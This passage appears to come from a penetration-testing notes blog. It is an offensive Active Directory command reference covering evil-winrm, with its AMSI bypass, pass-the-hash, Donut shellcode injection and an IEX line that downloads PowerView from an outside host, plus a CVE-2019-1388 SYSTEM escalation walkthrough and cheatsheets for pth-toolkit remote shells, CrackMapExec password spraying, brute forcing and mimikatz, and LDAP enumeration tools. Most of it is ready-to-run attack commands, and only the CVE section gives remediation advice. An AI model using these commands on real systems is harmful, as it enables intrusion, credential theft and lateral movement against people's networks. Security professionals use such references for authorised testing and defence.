    • Load x64 payloads generated with awesome donut technique
    • Dynamic AMSI Bypass to avoid AV signatures
    • Pass-the-hash support
    • Kerberos auth support
    • SSL and certificates support
    • Upload and download files showing progress bar
    • List remote machine services without privileges
    • Command History
    • WinRM command completion
    • Local files/directories completion
    • Remote path (files/directories) completion (can be disabled optionally)
    • Colorization on prompt and output messages (can be disabled optionally)
    • Optional logging feature
    • Docker support (prebuilt images available at Dockerhub)
    • Trap capturing to avoid accidental shell exit on Ctrl+C

    Requirements

    Ruby 2.3 or higher is needed. Some ruby gems are needed as well: winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2. Depending of your installation method (4 availables) the installation of them could be required to be done manually.

    Another important requirement only used for Kerberos auth is to install the Kerberos package used for network authentication. For some Linux like Debian based (Kali, Parrot, etc.) it is called krb5-user. For BlackArch it is called krb5 and probably it could be called in a different way for other Linux distributions.

    Installation & Quick Start (4 methods)

    Method 1. Installation directly as ruby gem (dependencies will be installed automatically on your system)

    Step 1. Install it (it will install automatically dependencies):

    • gem install evil-winrm

    Step 2. Ready. Just launch it!

    • evil-winrm -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ -s ‘/home/foo/ps1_scripts/’ -e ‘/home/foo/exe_files/’

    Method 2. Git clone and install dependencies on your system manually

    Step 1. Install dependencies manually:

    • sudo gem install winrm winrm-fs stringio logger fileutils

    Step 2. Clone the repo:

    • git clone https://github.com/Hackplayers/evil-winrm.git

    Step 3. Ready. Just launch it!

    • cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ -s ‘/home/foo/ps1_scripts/’ -e ‘/home/foo/exe_files/’

    Method 3. Using bundler (dependencies will not be installed on your system, just to use evil-winrm)

    Step 1. Install bundler:

    • gem install bundler

    Step 2. Clone the repo:

    • git clone https://github.com/Hackplayers/evil-winrm.git

    Step 3. Install dependencies with bundler:

    • cd evil-winrm && bundle install –path vendor/bundle

    Step 4. Launch it with bundler:

    • bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ -s ‘/home/foo/ps1_scripts/’ -e ‘/home/foo/exe_files/’

    Method 4. Using Docker

    Step 1. Launch docker container based on already built image:

    • docker run –rm -ti –name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ -s ‘/ps1_scripts/’ -e ‘/exe_files/’

    How to use

    1. Display help menu

    • evil-winrm –help

    Note: Notice the tool version at the top.

    2. Log in using one of the accounts username/password

    • evil-winrm -u admin1 -p Admin.123 -i 192.168.0.110

    3. Connect using pass the hash

    • evil-winrm –ip [ip] –user [user] –hash [nt_hash]

    4. Display the console menu, and bypass AMSI

    Windows AMSI (Antimalware Scan Interface): A Microsoft security feature that allows applications and scripts to be scanned for malicious content in real-time by interfacing with antivirus and antimalware products.

    • menu
    • Bypass-4MSI

    5. Connect to a host, specifying directories for scripts and executables

    • evil-winrm –ip [ip] –user [user] –password [password] –scripts [path/to/scripts] –executables [path/to/executables]

    SSL

    1. Connect to a host, using SSL

    • evil-winrm –ip [ip] –user [user] –password [password] –ssl –pub-key [path/to/pubkey] –priv-key [path/to/privkey]

    Upload Download files

    1. Upload files

    • upload [path/to/local/file] [path/to/remote/file]
    • upload /home/kali/secret.txt C:\Users\admin1\Documents\secret.txt

    2. Download files

    • download [path/to/local/file] [path/to/remote/file]
    • download C:\Users\admin1\Documents\Server_Secret.txt /home/kali/Server_Secret.txt

    Import Powershell scripts

    1. To load a powershell script download the script into the remote computer, display the menu and see all the methods/modules imported

    • IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.0.10:9999/PowerView.ps1’)
    • menu

    2. Run the modules

    • Get-Domain

    3. (OPTIONAL) We can also log in specifying a local script folder, so, you just need to call it, without downloading it from the local machine

    • evil-winrm -u admin1 -p Admin.123 -i 192.168.0.110 -s ~/Documents/Tools/PowerSploit/Recon
    • PowerView.ps1

    Import DLL

    1. Import DLL

    • Dll-Loader
    • Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
    • Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
    • Dll-Loader -http -path http://example.com/myDll.dll

    Note: To call the scripts

    • [SharpSploit.Enumeration.Net]::GetNetLocalGroupMembers()

    Import Binary

    1. Invoke a binary on the host from the –executables directory

    • Invoke-Binary
    • Invoke-Binary /opt/csharp/Watson.exe
    • Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    • Invoke-Binary /opt/csharp/Binary.exe ‘param1, param2, param3’

    Import Donut payloads

    1. Donut-Loader: allows to inject x64 payloads generated with awesome donut technique. No need to encode the payload.bin, just generate and inject! (https://github.com/TheWover/donut)

    • Donut-Loader
    • Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    • Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Sources

    https://linuxcommandlibrary.com/man/evil-winrm

    https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm

    https://www.hackplayers.com/2019/10/evil-winrm-shell-winrm-para-pentesting.html

    https://thehackerway.com/2021/12/15/evil-winrm-shell-sobre-winrm-para-pentesting-en-sistemas-windows-parte-2-de-2/

    https://github.com/Hackplayers/evil-winrm

    https://github.com/TheWover/donut

    (CVE-2019-1388)[Privilege Escalation] Microsoft Windows Certificate Dialog privilege escalation

    Microsoft Windows could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper enforcement of user privileges in the Certificate Dialog. By executing a specially-crafted program, an authenticated attacker could exploit this vulnerability to execute arbitrary code with higher privileges.

    To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.

    This CVE exploit tend to abuse the UAC windows Certificate Dialog to execute the certificate issuer link as an NT Authority User and open a browser that is under NT Authority User. Then we can use that to prompt a shell as a NT Authority User.

    What is Certificate Dialog?

    The UAC (User Account Control) Windows Certificate Dialog is a component of the UAC system in Microsoft Windows. UAC is a security feature implemented in Windows Vista and later versions to mitigate the risks of unauthorized or malicious actions by prompting users for confirmation before allowing certain operations that require administrative privileges.

    How UAC Windows Certificate Dialog Works:

    • User Initiates Action: When a user or an application attempts to perform an action that requires administrative privileges, such as installing or modifying certificates, a UAC prompt is triggered.
    • UAC Prompt: The UAC Windows Certificate Dialog appears, notifying the user that the action requires administrative rights. The dialog presents information about the application and the action being requested.
    • User Confirmation: The user must confirm the action by providing administrative credentials, typically an administrator’s username and password.
    • Privilege Elevation: Upon confirmation, Windows grants the application or process the necessary elevated privileges to carry out the requested action. This might involve launching a separate process with administrative rights.
    • Action Execution: With the elevated privileges, the application can now perform the certificate-related operation that requires administrative access.

    The prompts themselves are produced by an executable named consent.exe, running as NT AUTHORITY\SYSTEM and having an integrity level of System. Since the user can interact with this UI, it is necessary for the UI to be very tightly constrained. Otherwise, a low privileged user might be able to perform actions as SYSTEM via a circuitous route of UI operations. Even a solitary UI feature that appears harmless in isolation could potentially be the first step in a chain of actions leading to arbitrary control.

    There is an obscure Microsoft-specific object identifier (OID) defined, having the numeric value 1.3.6.1.4.1.311.2.1.22.

    The WinTrust.h header defines this as SPC_SP_AGENCY_INFO_OBJID, and, if present, it will be displayed in the Details tab as SpcSpAgencyInfo.

    Affected Systems

    SERVER

    Windows 2008r2 7601

    Windows 2012r2 9600

    Windows 2016 14393

    Windows 2019 1773

    WORKSTATION

    Windows 7 SP1 7601

    Windows 8 9200

    Windows 8.1 9600

    Windows 10 1511 10240

    Windows 10 1607 14393

    Windows 10 1703 15063

    Windows 10 1709 16299

    Steps to abuse this vulnerability

    1) Verify the current user you are, using cmd

    • whoami

    2) find a program that can trigger the UAC prompt screen, run it as administrator. (In this demo I used: https://github.com/jas502n/CVE-2019-1388, HHUPD.exe)

    3) select “Show more details”

    4) select “Show information about the publisher’s certificate”

    5) click on the “Issued by” URL link it will prompt a browser interface. Then click OK to close this “Certificate” window and exit the UAC prompt

    6) wait for the site to be fully loaded & select “save as” to prompt a explorer window for “save as”.

    Note: In my case, the webpage didn’t actually fully load so if that happens to you it is no worry, just verify within the address bar that it has a CA issuer address, in my case, Verisign.

    7) This warning may appear just click OK and ignore it

    • When attempting to save the webpage you will get a pop up that states Location is not available. This verifies that escalation is working good. Simply hit OK and proceed on

    8) on the explorer window address path, enter the cmd.exe full path:

    C:\WINDOWS\system32\cmd.exe, use the enter key

    Note: You will now go and save the webpage. This will vary on how it’s done depending on the browser.

    • (Alternatively way to open CMD): Within the System32 directory navigate down until you find the cmd executable. Right click on it and hit Open. A command prompt should open and to verify, type whoami and hit enter. whoami should display the current user as nt authority\system.

    9) now you’ll have an escalated privileges command prompt.

    Remedy

    Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

    Securing UAC Windows Certificate Dialog:

    • Keep UAC Enabled: UAC should be enabled to ensure that administrative actions are confirmed by the user. Disabling UAC removes this layer of security.
    • Use Strong User Accounts: Ensure that the accounts with administrative privileges have strong passwords to prevent unauthorized access.
    • Regular Updates: Keep your Windows operating system and security software up to date to address any known vulnerabilities.
    • Beware of Malicious Prompts: Be cautious when prompted by UAC dialogs, especially if you didn’t initiate any action. Malware can attempt to trick users into granting elevated privileges.
    • Use Standard User Accounts: Whenever possible, use a standard user account for regular activities. Use an administrative account only when necessary.
    • Verify the Source: Before providing administrative credentials, verify the source of the UAC prompt and the legitimacy of the action.
    • Application Whitelisting: Consider using application whitelisting solutions to restrict the execution of only trusted applications.

    Sources

    https://exchange.xforce.ibmcloud.com/vulnerabilities/170556

    https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2019-1388

    https://www.zerodayinitiative.com/advisories/ZDI-19-975/

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1388

    https://github.com/nobodyatall648/CVE-2019-1388

    https://justinsaechao23.medium.com/cve-2019-1388-windows-certificate-dialog-elevation-of-privilege-4d247df5b4d7

    https://sotharo-meas.medium.com/cve-2019-1388-windows-privilege-escalation-through-uac-22693fa23f5f

    https://blog.invgate.com/patch-cve-2019-1388

    https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

    [How to] xfreerdp

    FreeRDP is an open-source implementation of the Remote Desktop Protocol (RDP), which is developed by Microsoft. It allows users to connect to and interact with remote Windows systems over a network connection. FreeRDP is widely used in the Linux community to establish remote desktop connections to Windows machines, offering a way to access Windows applications and desktop environments from within a Linux environment.

    xfreerdp is a graphical client application provided by the FreeRDP project. It is designed to be used in Linux environments and provides a user-friendly interface for connecting to remote Windows systems via RDP. The “x” in “xfreerdp” stands for “X Window System,” which is the graphical system used in most Linux distributions. This means that xfreerdp leverages the X Window System to display the remote Windows desktop on the local Linux machine.

    • xfreerdp /v:192.168.0.1 /u:username /pth:<NT_HASH>
    • xfreerdp /u:WANDA_RAMSEY /pth:12afe378bb20ba3eb14244b89560284e /d:vk9-sec /v:192.168.0.110

    Due to account access restrictions, I couldn’t log in but I managed to authenticate.

    [How to] windapsearch

    windapsearch is a Python script to help enumerate users, groups and computers from a Windows domain through LDAP queries. By default, Windows Domain Controllers support basic LDAP operations through port 389/tcp. With any valid domain account (regardless of privileges), it is possible to perform LDAP queries against a domain controller for any AD related information.

    https://github.com/ropnop/windapsearch

    Installation

    Requirements

    windapsearch requires the python-ldap module. Run the follow commands to execute the script

    • git clone https://github.com/ropnop/windapsearch.git
    • cd windapsearch
    • sudo apt-get install -y libldap2-dev libsasl2-dev libssl-dev
    • sudo apt-get install python3-dev
    • pip install –upgrade pip setuptools
    • pip install python-ldap
    • python3 windapsearch.py

    How to use

    1. Display menu

    • python3 windapsearch.py -h
    • python3 windapsearch.py –help

    2. Basic query, to verify credentials are valid

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123

    2. Query users & save output in a file (just specify the destination folder)

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -U -o ~/Desktop

    3. Query groups

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -G -o ~/Desktop

    4. Get Member from a group

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -m <group_name>
    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -m IR-gra-distlist1

    5. Find unconstrained computers, usually Domain Controller is unconstrained

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 –unconstrained-computers

    6. Find uncontrained users

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 –unconstrained-users

    7. Get computers

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -C

    8. Get privilege users

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -PU

    9. Get users members of domain admins

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 –da

    10. Enumerate all objects with protected ACLs (admins)

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 –admin-objects

    11. Enumerate all user objects with Service Principal Names (for kerberoasting)

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 –user-spns

    12. Enumerate Group Policy Objects

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 –gpos

    13. Fuzzy search for all matching LDAP entries

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -s administrator

    14. Get full attribute data

    • python3 windapsearch.py -d vk9-sec.com –dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -G -o ~/Desktop –full

    [How to] ldapdomaundump

    In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

    ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

    The tool was designed with the following goals in mind:
    • Easy overview of all users/groups/computers/policies in the domain
    • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
    • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx
    The tool outputs several files containing an overview of objects in the domain:
    • domain_groups: List of groups in the domain
    • domain_users: List of users in the domain
    • domain_computers: List of computer accounts in the domain
    • domain_policy: Domain policy such as password requirements and lockout policy
    • domain_trusts: Incoming and outgoing domain trusts, and their properties
    As well as two grouped files:
    • domain_users_by_group: Domain users per group they are member of
    • domain_computers_by_os: Domain computers sorted by Operating System

    Dependencies and installation

    Requires ldap3 > 2.0, dnspython and future. ldapdomaindump runs on both python 2 and 3.

    Dependencies can be installed manually with pip install ldap3 dnspython future, but should in most cases be handled by pip when you install the main package either from git or pypi.

    The ldapdomaindump package can be installed with python setup.py install from the git source, or for the latest release with pip install ldapdomaindump.

    • pip3 install ldap3 dnspython future

    Installation

    1. To install run

    • git clone https://github.com/dirkjanm/ldapdomaindump.git
    • cd ldapdomaindump
    • ls

    2. Run help menu

    • python ldapdomaindump.py -h

    How to use

    1. Run the basic command to query the domain controller using an account. Use -o to specify where to store the data

    • python ldapdomaindump.py –user vk9-sec\\admin1 -p Admin.123 ldap://192.168.0.110 -o data

    2. Access the newly created folder “data” and read the files that were stored there

    • cd data
    • ls

    Note: By default, it creates json, html, grep files

    3. Disable JSON output, Disable Greppable output

    • python ldapdomaindump.py –user vk9-sec\\admin1 -p Admin.123 ldap://192.168.0.110 -o data –no-json –no-grep

    4. Resolve DNS

    • python ldapdomaindump.py –user vk9-sec\\admin1 -p Admin.123 ldap://192.168.0.110 -o data –resolve

    5. Open the files and start examining Users, Groups, computer, permissions and delegations

    Authentication

    Most AD servers support NTLM authentication. In the rare case that it does not, use –authtype SIMPLE.

    Output formats

    By default the tool outputs all files in HTML, JSON and tab delimited output (greppable). There are also two grouped files (users_by_group and computers_by_os) for convenience. These do not have a greppable output. JSON output for grouped files is disabled by default since it creates very large files without any data that isn’t present in the other files already.

    DNS resolving

    An important option is the -r option, which decides if a computers DNSHostName attribute should be resolved to an IPv4 address. While this can be very useful, the DNSHostName attribute is not automatically updated. When the AD Domain uses subdomains for computer hostnames, the DNSHostName will often be incorrect and will not resolve. Also keep in mind that resolving every hostname in the domain might cause a high load on the domain controller.

    Minimizing network and memory usage

    By default ldapdomaindump will try to dump every single attribute it can read to disk in the .json files. In large networks, this uses a lot of memory (since group relationships are currently calculated in memory before being written to disk). To dump only the minimal required attributes (the ones shown by default in the .html and .grep files), use the –minimal switch.

    Visualizing groups with BloodHound

    LDAPDomainDump includes a utility that can be used to convert ldapdomaindumps .json files to CSV files suitable for BloodHound. The utility is called ldd2bloodhound and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.convert or with python ldapdomaindump/convert.py if you are running it from the source. The conversion tool will take the users/groups/computers/trusts .json file and convert those to group_membership.csv and trust.csv which you can add to BloodHound. Note that these files are only compatible with BloodHound 1.x which is quite old. There are no plans to support the latest version as the BloodHound.py project was made for this. With the DCOnly collection method this tool will also only talk to LDAP and collect more information than ldapdomaindump would.

    Visualizing dump with a pretty output like enum4linux

    LDAPDomainDump includes a utility that can be used to output ldapdomaindumps .json files to an enum4linux like output. The utility is called ldd2pretty and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.pretty or with python ldapdomaindump/pretty.py if you are running it from the source.

    [How to] Pth-ToolKit

    It is a toolkit which contains a number of useful tools from which 2 of them can be used to execute arbitrary commands on remote Windows systems.

    https://github.com/byt3bl33d3r/pth-toolkit/tree/master

    Here’s a complete list of tools that come with the Pass-The-Hash toolkit:

    • pth-net: tool for administration of Samba and remote CIFS servers
    • pth-rpcclient: tool for executing client side MS-RPC functions
    • pth-smbclient: ftp-like client to access SMB/CIFS resources on servers
    • pth-smbget: wget-like utility for download files over SMB
    • pth-sqsh: interactive database shell for MS SQL servers
    • pth-winexe: SMB client to execute interactive commands on remote computer
    • pth-wmic: WMI client to execute queries on remote computer
    • pth-wmis: WMI client to execute a command on remote computer
    • pth-curl: curl with built-in NTLM support (deprecated / curl contains this natively)

    All of these utilities support plain, Kerberos or NTLM authentications, fully supporting passing-the-hash (PTH) attacks.

    Supported methods
    • winexe
    • wmic
    • wmis
    • rpcclient
    • smbclient
    • smbget
    • net

    Pass-The-Hash RCE table overview

    The following table provides information on what type of execution is possible using each method and provides details about which network ports are being used during the communication.

    Method RCE type Port(s) used
    1 pth-winexe interactive shell tcp/445
    2 pth-wmis command tcp/135
    tcp/50911 (Winmgmt)

    Installation

    1. Download the source code

    • git clone https://github.com/byt3bl33d3r/pth-toolkit.git
    • cd pth-toolkit
    • ls

    2. Display utilities help menu

    • ./pth-winexe

    Pass-The-Hash: pth-winexe

    This method is similar to the traditional PsExec method from SysInternals. It registers a Windows service called “winexesvc” on the remote system.

    This allows us to execute arbitrary commands on the remote system, including an interactive commands such as cmd.exe or powershell.exe.

    All communication takes place solely on port tcp/445 using the SMB protocol.

    1. Here’s an example of using pth-winexe utility as local Administrator using a clear text password:

    • pth-winexe -U “.\Administrator%pass123” //192.168.204.183 cmd.exe

    2. using a NTLM hash:

    • pth-winexe -U “.\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76” –uninstall //192.168.204.183 cmd

    Note that without providing the “–uninstall” option, the service would remain running on the remote system afterwards.

    Make sure to always include it to avoid leaving things running around after your engagement, otherwise it may lead to a very unpleasant conversations with your customer.

    Using SYSTEM account

    By default the pth-winexe utility executes the given command (cmd.exe in our case) under the privileges of the provided user

    By using the “–system” option, pth-winexe can automatically escalate to the “nt authority\system” account.

    • pth-winexe -U “.\Administrator%pass123” –uninstall –system //192.168.204.183 cmd

    This can be useful for conducting further attacks on the target machine. For instance:

    • No UAC bypasses required
    • Straightforward user impersonation

    Again, make sure the “–uninstall” option is included.

    Pass-The-Hash: pth-wmis

    This method uses Windows Management Instrumentation (WMI) interface of the remote Windows system to run an arbitrary command.

    It’s the only method that doesn’t use port tcp/445 for anything. It uses only port tcp/135 and a dynamically allocated high port such as tcp/50911 where it communicates with the Winmgmt service.

    1. This method also has a little caveat – it doesn’t return the output from the command. If we want to see the output, we have to redirect the output to a file on the remote system and then fetch it with pth-smbget or pth-smbclient afterwards.

    • pth-wmis -U “.\Administrator%pass123” //192.168.204.183 ‘cmd.exe /c whoami > c:\users\public\out.txt’

    2. Here’s example using an NTLM hash:

    pth-wmis -U “vk9-sec\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76” //192.168.204.183 ‘cmd.exe /c whoami > c:\users\public\out.txt’

    3. As mentioned above, to get the output from the command, we have to fetch it using pth-smbget utility. For example:

    • pth-smbget -U “.\Administrator%pass123” -q -O smb://192.168.204.183/c$/users/public/out.txt

    Sources

    https://www.infosecmatter.com/rce-on-windows-from-linux-part-3-pth-toolkit/

    https://github.com/byt3bl33d3r/pth-toolkit/tree/master

    [How to] Enumerate AD users using Impacket/GetADUsers.py

    This script will gather data about the domain’s users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. You can enable or disable the attributes shown in the final table by changing the values in line 184 and headers in line 190.

    https://github.com/fortra/impacket/tree/master

    https://github.com/fortra/impacket/blob/master/examples/GetADUsers.py

    Password Authentication

    1. Download the tool

    • wget https://raw.githubusercontent.com/fortra/impacket/master/examples/GetADUsers.py

    2. Run the tool help menu

    • python3 GetADUsers.py -h

    3. Get all users from the domain controller

    • python3 GetADUsers.py -all -dc-ip domain-controller-ip ‘vk9-sec/vry4n:Admin.123’
    • python3 GetADUsers.py -all vk9-sec/admin1 -dc-ip 192.168.0.110

    4. Post-compromise through a proxy host

    • proxychains -q GetADUsers.py -all -dc-ip domain-controller-ip ‘domain.tld/username:password’

    Pass the Hash

    If you’ve dumped the SAM or LSASS on host post-compromise, you can pass the hash to dump users.

    1. Get all users from the domain controller

    • GetADUsers.py -all -dc-ip domain-controller-ip -hashes lm-hash:nt-hash ‘domain.tld/username’

    2. Post-compromise through a proxy host

    • proxychains -q GetADUsers.py -all -dc-ip domain-controller-ip -hashes lm-hash:nt-hash ‘domain.tld/username’

    Sources

    https://notes.benheater.com/books/active-directory/page/getaduserspy

    https://www.hackingarticles.in/abusing-kerberos-using-impacket/

    https://wadcoms.github.io/wadcoms/Impacket-GetADUsers/

    [How to] CrackMapExec

    CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of “Living off the Land”: abusing built-in Active Directory features/protocols to achieve it’s functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.

    Documentation: https://wiki.porchetta.industries/

    https://github.com/Porchetta-Industries/CrackMapExec

    Installation

    • apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
    • git clone https://github.com/mpgn/CrackMapExec
    • cd CrackMapExec
    • poetry install

    How to use

    1. Run the executable

    • poetry run crackmapexec

    2. Viewing Protocol options (ldap, smb, mssql, vnc, rdp, ftp, winrm, ssh)

    • poetry run crackmapexec ldap -h

    3. Target format

    • crackmapexec <protocol> ms.evilcorp.org
    • crackmapexec <protocol> 192.168.1.0 192.168.0.2
    • crackmapexec <protocol> 192.168.1.0/24
    • crackmapexec <protocol> 192.168.1.0-28 10.0.0.1-67
    • crackmapexec <protocol> ~/targets.txt

    4. Using Credentials

    • crackmapexec <protocol> <target(s)> -u username -p password
    • crackmapexec <protocol> <target(s)> -u username -p ‘Admin!123@’

    5. Using a credential set from the database

    • crackmapexec <protocol> <target(s)> -id <cred ID(s)>

    6. Brute Forcing & Password Spraying

    • crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
    • crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
    • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
    • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

    7. Password Spraying without bruteforce, Can be usefull for protocols like WinRM and MSSQL. This option avoid the bruteforce when you use files (-u file -p file)

    • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes –no-bruteforce
    • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_pa

    Using Modules

    1. Viewing available modules for a Protocol

    • poetry run crackmapexec ldap -L

    2. Using a module. For example, to run the SMB Mimikatz module:

    • crackmapexec smb <target(s)> -u Administrator -p ‘P@ssw0rd’ -M mimikatz

    3. Viewing module options

    • poetry run crackmapexec ldap -M laps –options

    4. Using module options

    • poetry run crackmapexec <protocol> <target(s)> -u Administrator -p ‘P@ssw0rd’ -M mimikatz -o COMMAND=’privilege::debug’

    BloodHound integration

    CrackMapExec will set user as ‘owned’ on BloodHound when an account is found ! Very usefull when lsassy finds 20 credentials in one dump 🙂

    First you need to configure your config file in you home folder: ~/.cme/cme.conf and add the following lines:

    • [BloodHound]
    • bh_enabled = True
    • bh_uri = 127.0.0.1
    • bh_port = 7687
    • bh_user = user
    • bh_pass = pass

    Then, every time cme will find a valid credential, it will be added to bloodhound

    Using the database

    # The database automatically store every hosts reaches by CME and all credentials with admin access

    • $ cmedb

    # Using workspaces

    • cmedb> help
    • cmedb> workspace create test
    • cmedb> workspace test

    # Access a protocol database and switch back

    • cmedb (test)> proto smb
    • cmedb (test)> back

    # List stored hosts

    • cmedb> hosts

    # View detailed infos for a specific machine (including creds)

    • cmedb> hosts <hostname>

    # Get stored credentials

    • cmedb> creds

    # Get credentials access for a specific account

    • cmedb> creds <username>

    # Using credentials from the database

    • crackmapexec smb 192.168.100.1 -id <credsID>

    SMB Crackmapexec cheatsheet

    Connexions & Spraying

    # Target format

    • crackmapexec smb ms.evilcorp.org
    • crackmapexec smb 192.168.1.0 192.168.0.2
    • crackmapexec smb 192.168.1.0-28 10.0.0.1-67
    • crackmapexec smb 192.168.1.0/24
    • crackmapexec smb targets.txt

    # Null session

    • crackmapexec smb 192.168.10.1 -u “” up “”

    # Connect to target using local account

    • crackmapexec smb 192.168.215.138 -u ‘Administrator’ -p ‘PASSWORD’ –local-auth

    # Pass the hash against a subnet

    • crackmapexec smb 172.16.157.0/24 -u administrator -H ‘LMHASH:NTHASH’ –local-auth
    • crackmapexec smb 172.16.157.0/24 -u administrator -H ‘NTHASH’
    • crackmapexec smb 192.168.10.11 -u Administrator -H ab2761a405d4501700586917d63e58de -X ‘Get-ExcecutionPolicy’

    # Bruteforcing and Password Spraying

    • crackmapexec smb 192.168.100.0/24 -u “admin” -p “password1” –no-bruteforce
    • crackmapexec smb 192.168.100.0/24 -u “admin” -p “password1” “password2”
    • crackmapexec smb 192.168.100.0/24 -u “admin1” “admin2” -p “P@ssword”
    • crackmapexec smb 192.168.100.0/24 -u user_file.txt -p pass_file.txt
    • crackmapexec smb 192.168.100.0/24 -u user_file.txt -H ntlm_hashFile.txt

    Shares

    # Enumerate Shares

    • crackmapexec smb 192.168.0.110 -u “admin1” -p “Admin.123” –shares

    Disks

    # Enumerate disks

    • crackmapexec smb 192.168.0.110 -u “admin1” -p “Admin.123” –disks

    Users

    # Enumerate users

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –users

    # Perform RID Bruteforce to get users

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –rid-brute

    # Enumerate domain groups

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –groups

    # Enumerate local users

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –local-users

    # Enumerate logged on users

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –loggedon-users

    Hosts

    # Generate a list of relayable hosts (SMB Signing disabled)

    • crackmapexec smb 192.168.1.0/24 –gen-relay-list output.txt

    # Enumerate available shares

    • crackmapexec smb 192.168.215.138 -u ‘user’ -p ‘PASSWORD’ –local-auth –shares

    # Get the active sessions

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –sessions

    # Check logged in users

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –lusers

    # Get the password policy

    • crackmapexec smb 192.168.215.104 -u ‘user’ -p ‘PASS’ –pass-pol

    Execution & Co

    # CrackMapExec has 3 different command execution methods (in default order) :

    # – wmiexec –> WMI

    # – atexec –> scheduled task

    # – smbexec –> creating and running a service

    # Execute command through cmd.exe (admin privileges required)

    • crackmapexec smb 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -x ‘whoami’
    • crackmapexec smb 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -x ‘ipconfig’

    # Force the smbexec method

    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ -x ‘net user Administrator /domain’ –exec-method smbexec

    # Execute commands through PowerShell (admin privileges required)

